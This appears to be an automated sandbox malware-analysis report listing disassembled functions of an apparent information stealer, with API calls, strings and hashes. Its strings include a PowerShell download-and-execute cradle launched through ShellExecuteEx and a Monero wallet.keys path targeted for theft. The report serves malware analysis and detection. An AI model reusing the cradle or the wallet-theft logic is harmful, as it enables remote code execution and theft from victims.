Part of subcall function 00648D90: GetFileAttributesA.KERNEL32(00000000,?,00631B54,?,?,0065564C,?,?,00650E1F), ref: 00648D9F

Part of subcall function 00644570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00644580
Part of subcall function 00644570: RtlAllocateHeap.NTDLL(00000000), ref: 00644587
Part of subcall function 00644570: wsprintfA.USER32 ref: 006445A6
Part of subcall function 00644570: FindFirstFileA.KERNEL32(?,?), ref: 006445BD

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 1c489fbd10a0c0f78d5f2a0fa827f8dd9750361676dfb1ccc5ec673d7d1dfc1a
Instruction ID: 162fccdc29c5e1cf4d7e5a3c65491fab5471f6e55584478cceedc7f781730e80
Opcode Fuzzy Hash: 1c489fbd10a0c0f78d5f2a0fa827f8dd9750361676dfb1ccc5ec673d7d1dfc1a
Instruction Fuzzy Hash: 7F3160B2900208ABCB54FBA0DC89EED7379BB48700F44459DB31996081EE74D6C98B9A

Function 00642C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

ShellExecuteEx.SHELL32(0000003C), ref: 00642D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00642D04
')", xrefs: 00642CB3
<, xrefs: 00642D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00642CC4

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0644a4e5255ee7fa7c04fcbfd80e7b1ba8132b2d6c7b4e427a272d02e9acb590
Instruction ID: 1ecd78e6d9ca5f9d69530701d6249d2d18851f3cbbe6ae47ea396fbe9aefb638
Opcode Fuzzy Hash: 0644a4e5255ee7fa7c04fcbfd80e7b1ba8132b2d6c7b4e427a272d02e9acb590
Instruction Fuzzy Hash: 6041EC71C50208AEEB54EFE0C892BEDBB76AF14304F50411DF406A7192DF746A8ACF95

Function 00639E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00639F41

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Strings

@, xrefs: 00639EF1
v10, xrefs: 00639EA3
v20, xrefs: 00639E21
ERROR_RUN_EXTRACTOR, xrefs: 00639E67

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a6db3b74392d68df59ebcce0fe7a7945a7ffbc37c43e66a9482d5f4c2b7dec57
Instruction ID: 7f143612c3578a10b4df88f1a2ceb1bee750e6686f0559b57eaf0bb9f068c34d
Opcode Fuzzy Hash: a6db3b74392d68df59ebcce0fe7a7945a7ffbc37c43e66a9482d5f4c2b7dec57
Instruction Fuzzy Hash: F9615075A40208AFEB28EFA4CD96FED7776AF45304F00801CF90A5F191DB746A46CB96

Function 006470D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

memset.MSVCRT ref: 0064716A

Strings

sd, xrefs: 006472AE, 00647179, 0064717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0064718C
sd, xrefs: 00647111

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sd$sd$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-582212991
Opcode ID: d77cedc55126bb76f997b9497bf6e7457c99dbc238f83773d5466f538ee028d1
Instruction ID: caf90a67edc187a76edf003e57ecd289570094e81a6ad674ee227118df7660d2
Opcode Fuzzy Hash: d77cedc55126bb76f997b9497bf6e7457c99dbc238f83773d5466f538ee028d1
Instruction Fuzzy Hash: 2B516DB0D44218AFDB64EBA0DC85BEEB376AF54304F1440ACE51577281EB746E88CF59

Function 00647E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647E37
RtlAllocateHeap.NTDLL(00000000), ref: 00647E3E
RegOpenKeyExA.ADVAPI32(80000002,0143D430,00000000,00020119,?), ref: 00647E5E
RegQueryValueExA.ADVAPI32(?,0144E840,00000000,00000000,000000FF,000000FF), ref: 00647E7F
RegCloseKey.ADVAPI32(?), ref: 00647E92

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dbc752a6777f0cbe973f3702365b0cc7e94add59d010d9d752f860b0cca79ac4
Instruction ID: eeb0530ac28122dc7b81af035a25a0cde7d620a3a42f6f949d8d91097ba24e7d
Opcode Fuzzy Hash: dbc752a6777f0cbe973f3702365b0cc7e94add59d010d9d752f860b0cca79ac4
Instruction Fuzzy Hash: C211A0B1A44205EBD708CF94DC49FBFBBBDFB44B01F104269FA09A7284D77498418BA2

Function 00649260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01450348,?,?,?,0064140C,?,01450348,00000000), ref: 0064926C
lstrcpyn.KERNEL32(0087AB88,01450348,01450348,?,0064140C,?,01450348), ref: 00649290
lstrlen.KERNEL32(?,?,0064140C,?,01450348), ref: 006492A7
wsprintfA.USER32 ref: 006492C7

Strings

%s%s, xrefs: 006492B5

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 320e53cddf6a0be511074b2aae754b75e909c05e0957515ab13dc67d1dec699a
Instruction ID: 886653741c46a9b0fd41feb49444aace6f3dc2713fd99b6b34a87bf76e0e6630
Opcode Fuzzy Hash: 320e53cddf6a0be511074b2aae754b75e909c05e0957515ab13dc67d1dec699a
Instruction Fuzzy Hash: 9B01A975500108FFCB08DFE8C988EAE7BB9FB84365F108148F9099B208C671EA40DBA1

Function 006312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006312B4
RtlAllocateHeap.NTDLL(00000000), ref: 006312BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006312F5
RegCloseKey.ADVAPI32(?), ref: 006312FF

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4859acf301ef02447925c5ba09a68dd09369dd76db669f7f4acb0d4d22187b52
Instruction ID: cbd8f9437713797e06d99a6abed02a9304b65ef7bdd117e52ace84a90dd9966a
Opcode Fuzzy Hash: 4859acf301ef02447925c5ba09a68dd09369dd76db669f7f4acb0d4d22187b52
Instruction Fuzzy Hash: C70136B5A40208BBDB04DFD0DC4DFAEB7B8FB88701F008155FA0997284D671DA418F51

Function 00646630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00646663

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

ShellExecuteEx.SHELL32(0000003C), ref: 00646726
ExitProcess.KERNEL32 ref: 00646755

Strings

<, xrefs: 006466D9

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: fd9858497478de8a9850613112a35d4541a1b817431f52d360a55a18e1abcfa0
Instruction ID: 281958693eababd53c9985fb9e9dd1f9382094847893e560857721093668acb6
Opcode Fuzzy Hash: fd9858497478de8a9850613112a35d4541a1b817431f52d360a55a18e1abcfa0
Instruction Fuzzy Hash: 6D312BB1801218AEEB58EB90DC96BDEB779BF44300F404199F20966191DF746B89CF6A

Function 006487C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00650E28,00000000,?), ref: 0064882F
RtlAllocateHeap.NTDLL(00000000), ref: 00648836
wsprintfA.USER32 ref: 00648850

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Strings

%dx%d, xrefs: 00648847

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 1b6c59c4688435af31ee800e7ddeeaa173f671aecaa2cc08d475bde1ff518d92
Instruction ID: 1abfe6843f677d2f3a914621d871404c646e0a001ba1304d31c8c3b532e4d468
Opcode Fuzzy Hash: 1b6c59c4688435af31ee800e7ddeeaa173f671aecaa2cc08d475bde1ff518d92
Instruction Fuzzy Hash: F12172B1E44204AFDB08DFD4DD49FAEBBB9FB48701F104159F609A7284C7799900CBA2

Function 00648D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0064951E,00000000), ref: 00648D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00648D62
wsprintfW.USER32 ref: 00648D78

Strings

%hs, xrefs: 00648D6F

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: a25617e58b5b05407188335fd0c4c3f545a6659da9c3061f39243b067efeab49
Instruction ID: e31d9e8e81240df0d97e062d1345a30fc74df6238d7e2c0eba08520ab3108a78
Opcode Fuzzy Hash: a25617e58b5b05407188335fd0c4c3f545a6659da9c3061f39243b067efeab49
Instruction Fuzzy Hash: 43E08CB0A40208BBDB08DB94DC0EE6D77BCFB84702F0400A4FD0D87280DA71DE408BA2

Function 0063A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(00650E1A,0144B8B0,006505AE,?,?,006313F9,?,0000001A,00650E1A,00000000,?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0063A3FF
lstrlen.KERNEL32(00000000), ref: 0063A6BC

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

DeleteFileA.KERNEL32(00000000), ref: 0063A743

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
